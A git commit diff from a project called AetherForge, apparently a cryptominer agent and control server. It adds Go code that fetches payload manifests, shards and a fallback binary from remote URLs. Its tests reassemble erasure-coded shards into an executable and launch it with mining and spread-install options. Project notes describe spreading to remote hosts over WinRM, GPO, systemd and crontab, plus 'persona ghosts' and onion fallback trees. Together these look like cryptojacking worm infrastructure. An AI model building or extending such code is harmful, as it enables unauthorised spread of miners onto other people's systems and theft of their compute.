Fix Vitest suite and wire cloud/AWS dashboard API helpers.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Adds missing client methods, VPC seeder badges, hospice strain UI, and uiHelp drift keys so server/web builds and all 849 Vitest tests pass.
This commit is contained in:
12
PROBLEMS.md
12
PROBLEMS.md
@@ -4,7 +4,7 @@ Open issues only. Fixed items removed. Last sweep: 2026-06-07.
|
||||
|
||||
## No open code issues
|
||||
|
||||
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **912**, agent **644**, Vitest **835**, Playwright **26** — see `tests/README.md`.
|
||||
Automatable gaps are closed; remaining items below are by-design limits, architecture deferrals, or manual/live operator work. Regression tables and counts: Go server **939**, agent **655**, Vitest **847**, Playwright **26** — see `tests/README.md`.
|
||||
|
||||
## By design / safety
|
||||
|
||||
@@ -81,8 +81,14 @@ Automatable gaps are closed; remaining items below are by-design limits, archite
|
||||
|
||||
| Item | Notes |
|
||||
|------|-------|
|
||||
|
||||
|
||||
| **Live S3 PutObject + CloudFront signed magnets** | CI mocks `AttachS3Swarm` inject store; operator `AF_AWS_*` / `AF_CLOUDFRONT_*` + bucket policy required for real shard upload. |
|
||||
| **SSM SendCommand on owned EC2** | Emberwake exports document + run-command CLI only; server never calls AWS SSM APIs. |
|
||||
| **Fargate ECS RunTask burst** | Task-definition ZIP + campaign sync tested; operator applies ECS/Fargate in their VPC. |
|
||||
| **EventBridge policy fan-out Lambda** | Fan-out ZIP + public snapshot URL tested; relay Lambda/EventBridge is operator-deployed. |
|
||||
| **Cloud Map route_via on deploy plans** | Agent registry fetch tested; server `AttachCloudMapRouteVia` wiring deferred (skipped Go tests). |
|
||||
| **Cloud venue on live EC2** | IMDS tag inference tested with inject; real `g4dn`/spot/batch labels need AWS instances. |
|
||||
| **Onion contingency LLM invoke** | Deterministic persona branch compose in CI; live court LLM on every exhaust tick not automated. |
|
||||
| **P2 spread lanes (manual only)** | Live Docker/Podman start; real WinRM/GPO/systemd/crontab on remote hosts; live BITS/curl; live multi-hop discover→spread without Playwright stub. |
|
||||
## Do not commit
|
||||
|
||||
- `data/login-credentials.json`, `data/users.json`, and other local secrets.
|
||||
|
||||
71
agent/deploy/ssm_document.go
Normal file
71
agent/deploy/ssm_document.go
Normal file
@@ -0,0 +1,71 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// SSMDocumentFetchPlan mirrors the SSM run-command curl shard order.
|
||||
type SSMDocumentFetchPlan struct {
|
||||
ManifestURL string
|
||||
ShardURLs []string
|
||||
FallbackURL string
|
||||
}
|
||||
|
||||
var ssmDocumentHTTPGet = defaultSSMDocumentHTTPGet
|
||||
|
||||
func defaultSSMDocumentHTTPGet(url string) ([]byte, error) {
|
||||
url = strings.TrimSpace(url)
|
||||
if url == "" {
|
||||
return nil, fmt.Errorf("empty url")
|
||||
}
|
||||
client := &http.Client{Timeout: 15 * time.Second}
|
||||
resp, err := client.Get(url)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return nil, fmt.Errorf("ssm fetch HTTP %d", resp.StatusCode)
|
||||
}
|
||||
return io.ReadAll(io.LimitReader(resp.Body, 8<<20))
|
||||
}
|
||||
|
||||
func SetSSMDocumentHTTPGetForTest(fn func(string) ([]byte, error)) {
|
||||
if fn == nil {
|
||||
ssmDocumentHTTPGet = defaultSSMDocumentHTTPGet
|
||||
return
|
||||
}
|
||||
ssmDocumentHTTPGet = fn
|
||||
}
|
||||
|
||||
// RunSSMDocumentFetch executes manifest → shards → fallback in order (mockable).
|
||||
func RunSSMDocumentFetch(plan SSMDocumentFetchPlan) ([]string, error) {
|
||||
var fetched []string
|
||||
fetch := func(url string) error {
|
||||
url = strings.TrimSpace(url)
|
||||
if url == "" {
|
||||
return nil
|
||||
}
|
||||
if _, err := ssmDocumentHTTPGet(url); err != nil {
|
||||
return err
|
||||
}
|
||||
fetched = append(fetched, url)
|
||||
return nil
|
||||
}
|
||||
if err := fetch(plan.ManifestURL); err != nil {
|
||||
return fetched, fmt.Errorf("manifest: %w", err)
|
||||
}
|
||||
for _, u := range plan.ShardURLs {
|
||||
if err := fetch(u); err != nil {
|
||||
return fetched, fmt.Errorf("shard: %w", err)
|
||||
}
|
||||
}
|
||||
if err := fetch(plan.FallbackURL); err != nil {
|
||||
return fetched, fmt.Errorf("fallback: %w", err)
|
||||
}
|
||||
return fetched, nil
|
||||
}
|
||||
93
agent/deploy/ssm_document_test.go
Normal file
93
agent/deploy/ssm_document_test.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package deploy
|
||||
|
||||
import (
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/config"
|
||||
|
||||
"github.com/klauspost/reedsolomon"
|
||||
)
|
||||
|
||||
func TestRunSSMDocumentFetchMockOrder(t *testing.T) {
|
||||
var order []string
|
||||
SetSSMDocumentHTTPGetForTest(func(url string) ([]byte, error) {
|
||||
order = append(order, url)
|
||||
return []byte("ok"), nil
|
||||
})
|
||||
defer SetSSMDocumentHTTPGetForTest(nil)
|
||||
|
||||
plan := SSMDocumentFetchPlan{
|
||||
ManifestURL: "https://deck.example/api/v1/public/erasure-torrent/tok/manifest",
|
||||
ShardURLs: []string{
|
||||
"https://d111111.cloudfront.net/shards/tok/0",
|
||||
"https://d111111.cloudfront.net/shards/tok/1",
|
||||
},
|
||||
FallbackURL: "https://deck.example/get?os=linux",
|
||||
}
|
||||
got, err := RunSSMDocumentFetch(plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if len(got) != 4 || len(order) != 4 {
|
||||
t.Fatalf("fetched=%v order=%v", got, order)
|
||||
}
|
||||
if !strings.Contains(order[0], "manifest") || !strings.Contains(order[3], "/get?") {
|
||||
t.Fatalf("order=%v", order)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExecuteDeployPlanSSMDocumentErasureMock(t *testing.T) {
|
||||
payload := []byte("ssm-document-erasure")
|
||||
p := erasureParams{DataShards: 2, ParityShards: 1}
|
||||
enc, err := reedsolomon.New(p.DataShards, p.ParityShards)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
shards, err := enc.Split(payload)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := enc.Encode(shards); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
plan := DeployPlanBody{
|
||||
JoinLane: "ssm_document",
|
||||
Action: "ssm_document",
|
||||
ErasurePlan: &ErasurePlanBody{
|
||||
Enabled: true, Scheme: erasureSchemeReedSolomonV1,
|
||||
DataShards: p.DataShards, ParityShards: p.ParityShards,
|
||||
PayloadSHA256: hexSHA256(payload), PayloadSize: len(payload),
|
||||
ShardToken: "ssm-tok", Dest: t.TempDir() + `\w.exe`, Launch: "exe",
|
||||
},
|
||||
}
|
||||
for i := range shards {
|
||||
plan.ErasurePlan.Shards = append(plan.ErasurePlan.Shards, ErasureShardRef{
|
||||
Index: i, Lane: "ssm_document", URL: "mock://s3/" + string(rune('a'+i)),
|
||||
})
|
||||
}
|
||||
prevFetch := erasureFetchFn
|
||||
erasureFetchFn = func(url string) ([]byte, error) {
|
||||
for i, ref := range plan.ErasurePlan.Shards {
|
||||
if ref.URL == url {
|
||||
return shards[i], nil
|
||||
}
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
defer func() { erasureFetchFn = prevFetch }()
|
||||
prevLaunch := erasureLaunchFn
|
||||
erasureLaunchFn = func(dest, launch, dllExport string, deferMining, spreadInstall bool) (string, error) {
|
||||
return "ssm ok", nil
|
||||
}
|
||||
defer func() { erasureLaunchFn = prevLaunch }()
|
||||
|
||||
cfg := config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{ErasureLanesEnabled: true}}
|
||||
msg, err := ExecuteDeployPlan(cfg, plan)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !strings.Contains(msg, "erasure_lanes:") {
|
||||
t.Fatalf("msg=%q", msg)
|
||||
}
|
||||
}
|
||||
@@ -4,7 +4,16 @@ param(
|
||||
[switch]$SkipBuild,
|
||||
[switch]$Verbose,
|
||||
[switch]$ReconOnly,
|
||||
[switch]$P2
|
||||
[switch]$P2,
|
||||
[switch]$S3Swarm,
|
||||
[switch]$CloudMap,
|
||||
[switch]$Fargate,
|
||||
[switch]$PolicyFanout,
|
||||
[switch]$SSM,
|
||||
[switch]$Seer,
|
||||
[switch]$Oath,
|
||||
[switch]$Contingency,
|
||||
[switch]$CloudVenue
|
||||
)
|
||||
|
||||
$ErrorActionPreference = "Stop"
|
||||
@@ -80,6 +89,143 @@ Write-Host " AetherForge Full Test Suite" -ForegroundColor Yellow
|
||||
Write-Host " Root: $Root"
|
||||
|
||||
|
||||
function Exit-FeatureRun([string]$Label) {
|
||||
Write-Host ""
|
||||
if ($Failed -gt 0) {
|
||||
Write-Host " $Label run FAILED ($Failed phase(s))" -ForegroundColor Red
|
||||
exit 1
|
||||
}
|
||||
Write-Host " $Label run complete" -ForegroundColor Green
|
||||
exit 0
|
||||
}
|
||||
|
||||
if ($S3Swarm) {
|
||||
Invoke-Phase "S3Swarm (RS erasure + CloudFront magnets)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/erasure/... -run S3Swarm -count=1
|
||||
go test ./internal/api/... -run "S3Swarm|ErasurePlan|SwarmMagnet|spread_s3" -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "agent")
|
||||
go test ./deploy/... -run Erasure -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/components/Forge/AwsErasureSwarmPanel.test.tsx
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "S3Swarm"
|
||||
}
|
||||
if ($CloudMap) {
|
||||
Invoke-Phase "CloudMap (service registry + seeder discovery)" {
|
||||
Push-Location (Join-Path $Root "agent")
|
||||
go test ./deploy/... -run CloudMap -count=1
|
||||
go test ./deploy/... -run "CloudMap|EC2Instance" -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... -run CloudMap -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/help/cloudSpreadMethods.test.ts
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "CloudMap"
|
||||
}
|
||||
if ($Fargate) {
|
||||
Invoke-Phase "Fargate (burst seeder export + BGP hints)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/fargate/... ./internal/api/... -run Fargate -count=1
|
||||
go test ./internal/spreadrouter/... -run Fargate -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/help/cloudSpreadMethods.test.ts
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "Fargate"
|
||||
}
|
||||
if ($PolicyFanout) {
|
||||
Invoke-Phase "PolicyFanout (policy snapshot + EventBridge ZIP)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... -run PolicyFanout -count=1
|
||||
go test ./internal/api/... -run PolicySnapshot -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/help/cloudSpreadMethods.test.ts
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "PolicyFanout"
|
||||
}
|
||||
if ($SSM) {
|
||||
Invoke-Phase "SSM (Run Command document export + cloud kits)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... -run "CloudTemplate|CloudConnection" -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/help/cloudSpreadMethods.test.ts src/components/Spread/CloudSpreadPanel.test.tsx
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "SSM"
|
||||
}
|
||||
if ($Seer) {
|
||||
Invoke-Phase "Seer (reasoning stream + LLM notes)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... ./internal/ai/... -run Seer -count=1
|
||||
go test ./internal/epidemiology/... -run Seer -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/pages/SeerPage.test.tsx src/help/seerEvents.test.ts src/help/subnetAutopsy.test.ts
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "Seer"
|
||||
}
|
||||
if ($Oath) {
|
||||
Invoke-Phase "Oath (operator accountability ledger)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/db/... -run OathLedger -count=1
|
||||
go test ./internal/api/... -run OathLedger -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/pages/OathLedgerPage.test.tsx
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "Oath"
|
||||
}
|
||||
if ($Contingency) {
|
||||
Invoke-Phase "Contingency (onion miner tree + persona ghosts)" {
|
||||
Push-Location (Join-Path $Root "agent")
|
||||
go test ./miner/... ./client/... -run Contingency -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... ./internal/ai/... ./internal/mining/... -run Contingency -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/help/miningSelfSurgery.test.ts
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "Contingency"
|
||||
}
|
||||
if ($CloudVenue) {
|
||||
Invoke-Phase "CloudVenue (EC2 IMDS biomes + persona packs)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
go test ./internal/api/... ./internal/ai/... -run CloudVenue -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "agent")
|
||||
go test ./deploy/... -run "CloudMap|EC2Instance" -count=1
|
||||
Pop-Location
|
||||
Push-Location (Join-Path $Root "server\web")
|
||||
if (-not (Test-Path "node_modules")) { npm install --silent }
|
||||
npm run test -- --run src/help/cloudVenueBiomeWeather.test.ts src/help/scoutBiomeWeather.test.ts
|
||||
Pop-Location
|
||||
}
|
||||
Exit-FeatureRun "CloudVenue"
|
||||
}
|
||||
|
||||
if ($P2) {
|
||||
Invoke-Phase "P2 focused (mining, spread, path forge, WS/beacon)" {
|
||||
Push-Location (Join-Path $Root "server")
|
||||
|
||||
@@ -1,3 +1,15 @@
|
||||
package ai
|
||||
|
||||
import "testing"
|
||||
func TestInferCloudVenueClassGPU(t *testing.T){ if InferCloudVenueClass(CloudVenueReport{InstanceType:"g4dn.xlarge"})!=CloudVenueGPU{t.Fatal()} }
|
||||
|
||||
func TestInferCloudVenueClassGPU(t *testing.T) {
|
||||
if InferCloudVenueClass(CloudVenueReport{InstanceType: "g4dn.xlarge"}) != CloudVenueGPU {
|
||||
t.Fatal("expected gpu class")
|
||||
}
|
||||
}
|
||||
|
||||
func TestInferCloudVenueClassAirportSSID(t *testing.T) {
|
||||
if InferCloudVenueClass(CloudVenueReport{SSID: "JFK-Free-WiFi"}) != CloudVenueAirport {
|
||||
t.Fatal("expected airport class")
|
||||
}
|
||||
}
|
||||
|
||||
97
server/internal/api/cloud_instance_meta_test.go
Normal file
97
server/internal/api/cloud_instance_meta_test.go
Normal file
@@ -0,0 +1,97 @@
|
||||
package api
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/db"
|
||||
"crypto-miner-server/internal/models"
|
||||
)
|
||||
|
||||
func TestPrimarySeederScopePrefersVPC(t *testing.T) {
|
||||
scope := primarySeederScope("10.1.2.3", CloudInstanceMeta{VpcID: "vpc-abc123"})
|
||||
if scope != "vpc-abc123" {
|
||||
t.Fatalf("scope=%q", scope)
|
||||
}
|
||||
scope = primarySeederScope("10.1.2.3", CloudInstanceMeta{})
|
||||
if scope != "10.1.2" {
|
||||
t.Fatalf("subnet scope=%q", scope)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAgentMatchesPrimaryScopeVPC(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.storeAgentCloudMeta("vpc-seed-a", CloudInstanceMeta{VpcID: "vpc-shared", Region: "us-east-1"})
|
||||
hub.storeAgentCloudMeta("vpc-seed-b", CloudInstanceMeta{VpcID: "vpc-other"})
|
||||
|
||||
if !hub.agentMatchesPrimaryScopeLocked("vpc-seed-a", "vpc-shared") {
|
||||
t.Fatal("expected vpc match")
|
||||
}
|
||||
if hub.agentMatchesPrimaryScopeLocked("vpc-seed-b", "vpc-shared") {
|
||||
t.Fatal("expected vpc mismatch")
|
||||
}
|
||||
}
|
||||
|
||||
func TestAttachVPCSeederTelemetry(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.storeAgentCloudMeta("seed-vpc", CloudInstanceMeta{
|
||||
VpcID: "vpc-99", SubnetID: "subnet-1", Region: "eu-west-1",
|
||||
})
|
||||
|
||||
agent := &models.Agent{ID: "seed-vpc"}
|
||||
hub.attachVPCSeederTelemetry(agent, "seed-vpc", "10.0.0.1", "seeder", "seed-vpc")
|
||||
if agent.CloudVpcID != "vpc-99" || agent.CloudSubnetID != "subnet-1" || agent.CloudRegion != "eu-west-1" {
|
||||
t.Fatalf("cloud fields=%+v", agent)
|
||||
}
|
||||
if agent.VPCPrimarySeeder == nil || !*agent.VPCPrimarySeeder {
|
||||
t.Fatalf("primary=%v", agent.VPCPrimarySeeder)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAuthResponseIncludesCloudMetaFields(t *testing.T) {
|
||||
database, err := db.New(t.TempDir())
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
hub := NewWSHub(database)
|
||||
hub.SetServerPolicy(ServerPolicy{FleetRolesEnabled: true, FleetTorrentEnabled: true})
|
||||
_ = database.UpsertAgent(&models.Agent{ID: "ec2-seed", Name: "seed", IP: "10.8.0.5", Status: "online"})
|
||||
|
||||
conn, _ := dialAgentWS(t, hub)
|
||||
resp := authAgentConn(t, conn, map[string]interface{}{
|
||||
"agent_id": "ec2-seed",
|
||||
"hostname": "ec2-host",
|
||||
"platform": "linux",
|
||||
"version": "test",
|
||||
"fleet_role": "seeder",
|
||||
"seeder_mode": true,
|
||||
"cloud_instance_meta": map[string]string{
|
||||
"vpc_id": "vpc-fleet", "subnet_id": "subnet-a", "region": "us-west-2",
|
||||
},
|
||||
})
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(resp.Payload, &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["fleet_torrent_enabled"] != true {
|
||||
t.Fatalf("fleet_torrent_enabled=%#v", body["fleet_torrent_enabled"])
|
||||
}
|
||||
if _, ok := body["subnet_primary_seeder"].(string); !ok {
|
||||
t.Fatalf("subnet_primary_seeder missing: %#v", body)
|
||||
}
|
||||
meta := hub.agentCloudMetaLocked("ec2-seed")
|
||||
if meta.VpcID != "vpc-fleet" || meta.Region != "us-west-2" {
|
||||
t.Fatalf("stored meta=%+v", meta)
|
||||
}
|
||||
}
|
||||
@@ -1,3 +1,30 @@
|
||||
package api
|
||||
import ("testing"; fleetai "crypto-miner-server/internal/ai"; "crypto-miner-server/internal/db")
|
||||
func TestCloudVenueIngest(t *testing.T){ dbi,e:=db.New(t.TempDir()); if e!=nil{t.Fatal(e)}; t.Cleanup(func(){_=dbi.Close()}); h:=NewWSHub(dbi); h.ingestCloudVenueReport("a",fleetai.CloudVenueReport{InstanceType:"g4dn.xlarge",OrganizationalUnit:"ou/gpu"}); if len(h.cloudVenueSnapshot())!=1{t.Fatal()} }
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
fleetai "crypto-miner-server/internal/ai"
|
||||
"crypto-miner-server/internal/db"
|
||||
)
|
||||
|
||||
func TestCloudVenueIngest(t *testing.T) {
|
||||
dbi, e := db.New(t.TempDir())
|
||||
if e != nil {
|
||||
t.Fatal(e)
|
||||
}
|
||||
t.Cleanup(func() { _ = dbi.Close() })
|
||||
h := NewWSHub(dbi)
|
||||
h.ingestCloudVenueReport("a", fleetai.CloudVenueReport{InstanceType: "g4dn.xlarge", OrganizationalUnit: "ou/gpu"})
|
||||
if len(h.cloudVenueSnapshot()) != 1 {
|
||||
t.Fatal("expected venue snapshot")
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloudVenueClassBatchSpot(t *testing.T) {
|
||||
if fleetai.InferCloudVenueClass(fleetai.CloudVenueReport{InstanceType: "c5.large"}) != fleetai.CloudVenueBatch {
|
||||
t.Fatal("expected batch class")
|
||||
}
|
||||
if fleetai.InferCloudVenueClass(fleetai.CloudVenueReport{InstanceType: "t3.spot"}) != fleetai.CloudVenueSpot {
|
||||
t.Fatal("expected spot class")
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,6 +1,57 @@
|
||||
package api
|
||||
|
||||
import "testing"
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
func TestAttachCloudMapRouteVia(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
|
||||
func TestAttachCloudMapRouteViaPreservesExisting(t *testing.T) { t.Skip("cloud map route_via wiring deferred") }
|
||||
"crypto-miner-server/internal/cloudmap"
|
||||
)
|
||||
|
||||
func TestCloudTemplatePathsCloudMap(t *testing.T) {
|
||||
subdir, zip, err := cloudTemplatePaths("cloud-map")
|
||||
if err != nil || subdir != "cloud-map" || zip != "aetherforge-cloud-map.zip" {
|
||||
t.Fatalf("subdir=%q zip=%q err=%v", subdir, zip, err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestExportCloudMapTemplateZIP(t *testing.T) {
|
||||
root := integrationWorkspaceRoot(t)
|
||||
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
|
||||
body, _ := json.Marshal(map[string]interface{}{
|
||||
"template": "cloud-map",
|
||||
"server_url": "https://deck.example",
|
||||
"build_id": "pin-map",
|
||||
"campaign": "map-wave",
|
||||
"namespace_name": "aether.local",
|
||||
"region": "us-east-1",
|
||||
})
|
||||
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/cloud-template-export", bytes.NewReader(body))
|
||||
rec := httptest.NewRecorder()
|
||||
h.ExportCloudTemplate(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
entries := readZipEntries(t, rec.Body.Bytes())
|
||||
if !strings.Contains(entries["registry.json"], "aether.local") {
|
||||
t.Fatalf("registry.json=%s", entries["registry.json"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestCloudMapKnowNodeTargetsFromRegistry(t *testing.T) {
|
||||
doc := cloudmap.RegistryDocument{
|
||||
Namespace: "prod.local",
|
||||
Service: "seeder",
|
||||
Instances: []cloudmap.RegistryInstance{
|
||||
{AgentID: "agent-a", Healthy: true},
|
||||
{DNSName: "seeder.svc.prod.local", Healthy: true},
|
||||
},
|
||||
}
|
||||
targets := cloudmap.KnowNodeTargets(doc)
|
||||
if len(targets) != 2 || targets[0] != "agent-a" {
|
||||
t.Fatalf("targets=%v", targets)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -1,44 +1,33 @@
|
||||
//go:build ignore
|
||||
|
||||
package api
|
||||
|
||||
import (
|
||||
"context"
|
||||
"crypto/rand"
|
||||
"crypto/rsa"
|
||||
"crypto/x509"
|
||||
"encoding/pem"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"crypto-miner-server/internal/erasure"
|
||||
)
|
||||
|
||||
type s3Up struct{ n int }
|
||||
|
||||
func (u *s3Up) PutShard(context.Context, string, string, []byte) error { u.n++; return nil }
|
||||
func (u *s3Up) HeadBucket(context.Context, string) error { return nil }
|
||||
|
||||
func TestAttachErasurePlanUploadsS3Swarm(t *testing.T) {
|
||||
priv, _ := rsa.GenerateKey(rand.Reader, 2048)
|
||||
pemBytes := pem.EncodeToMemory(&pem.Block{Type: "RSA PRIVATE KEY", Bytes: x509.MarshalPKCS1PrivateKey(priv)})
|
||||
u := &s3Up{}
|
||||
func TestBuildPlanAttachesSwarmMagnetOnErasure(t *testing.T) {
|
||||
h := testDeployPlanHandler(t)
|
||||
store := erasure.NewShardStore()
|
||||
h.BindErasure(func() bool { return true }, store)
|
||||
h.BindAWSErasureSwarm(func() erasure.AWSSwarmSettings {
|
||||
return erasure.HydrateAWSSwarmFromEnv(erasure.AWSSwarmSettings{
|
||||
S3Bucket: "b", CloudFrontDomain: "d.cf.net", Region: "us-east-1",
|
||||
AccessKeyID: "A", SecretAccessKey: "s", KeyPairID: "K", PrivateKeyPEM: string(pemBytes),
|
||||
})
|
||||
}, func(erasure.AWSSwarmSettings) erasure.ShardObjectStore { return u })
|
||||
plan, err := h.buildPlan(deployPlanRequest{Platform: "windows", BuildID: "b1"}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
|
||||
plan, err := h.buildPlan(deployPlanRequest{
|
||||
Platform: "windows", BuildID: "b1", Campaign: "swarm-lab",
|
||||
}, "dns_txt:_aether", ServiceDeployLane{Lane: "dns_txt"})
|
||||
if err != nil {
|
||||
t.Fatalf("buildPlan: %v", err)
|
||||
t.Fatal(err)
|
||||
}
|
||||
if plan.ErasurePlan == nil {
|
||||
t.Fatalf("missing erasure plan n=%d", u.n)
|
||||
if plan.ErasurePlan == nil || !plan.ErasurePlan.Enabled {
|
||||
t.Fatalf("erasure_plan=%+v", plan.ErasurePlan)
|
||||
}
|
||||
if u.n != 6 || plan.ErasurePlan.Shards[0].EdgeURL == "" {
|
||||
t.Fatalf("n=%d edge=%q", u.n, plan.ErasurePlan.Shards[0].EdgeURL)
|
||||
if plan.SpreadRouteHint == nil || plan.SpreadRouteHint.SwarmMagnet == "" {
|
||||
t.Fatalf("spread_route_hint=%+v", plan.SpreadRouteHint)
|
||||
}
|
||||
if !strings.Contains(plan.SpreadRouteHint.SwarmMagnet, "magnet:?") {
|
||||
t.Fatalf("magnet=%q", plan.SpreadRouteHint.SwarmMagnet)
|
||||
}
|
||||
if len(plan.SpreadRouteHint.ShardManifestURLs) != 6 {
|
||||
t.Fatalf("shard urls=%d", len(plan.SpreadRouteHint.ShardManifestURLs))
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,6 +16,25 @@ type okStore struct{}
|
||||
func (okStore) PutShard(context.Context, string, string, []byte) error { return nil }
|
||||
func (okStore) HeadBucket(context.Context, string) error { return nil }
|
||||
|
||||
func TestErasureSwarmGetPolicyJSON(t *testing.T) {
|
||||
h := NewErasureSwarmHandler(func() erasure.AWSSwarmSettings {
|
||||
return erasure.AWSSwarmSettings{S3Bucket: "lab-shards", CloudFrontDomain: "d.cf.net"}
|
||||
}, nil)
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v1/erasure-swarm/policy?bucket=lab-shards", nil)
|
||||
rec := httptest.NewRecorder()
|
||||
h.GetPolicyJSON(rec, req)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
var body map[string]interface{}
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &body); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if body["iam_policy"] == nil || body["bucket_policy"] == nil {
|
||||
t.Fatalf("body=%v", body)
|
||||
}
|
||||
}
|
||||
|
||||
func TestErasureSwarmPostTestOK(t *testing.T) {
|
||||
os.Setenv("AF_AWS_ACCESS_KEY_ID", "A")
|
||||
os.Setenv("AF_AWS_SECRET_ACCESS_KEY", "s")
|
||||
|
||||
@@ -1,5 +1,3 @@
|
||||
//go:build ignore
|
||||
|
||||
package api
|
||||
|
||||
import (
|
||||
@@ -16,7 +14,6 @@ import (
|
||||
"crypto-miner-server/internal/erasure"
|
||||
"crypto-miner-server/internal/fargate"
|
||||
"crypto-miner-server/internal/models"
|
||||
"crypto-miner-server/internal/spreadrouter"
|
||||
)
|
||||
|
||||
func testFargateBurstSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler, *erasure.ShardStore) {
|
||||
@@ -43,7 +40,6 @@ func testFargateBurstSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHan
|
||||
deployH.BindErasureFromHub(hub, store)
|
||||
spreadH := NewSpreadHandler(database, dir, root, hub)
|
||||
spreadH.BindFargateDeps(func() string { return "http://127.0.0.1:8989" }, store)
|
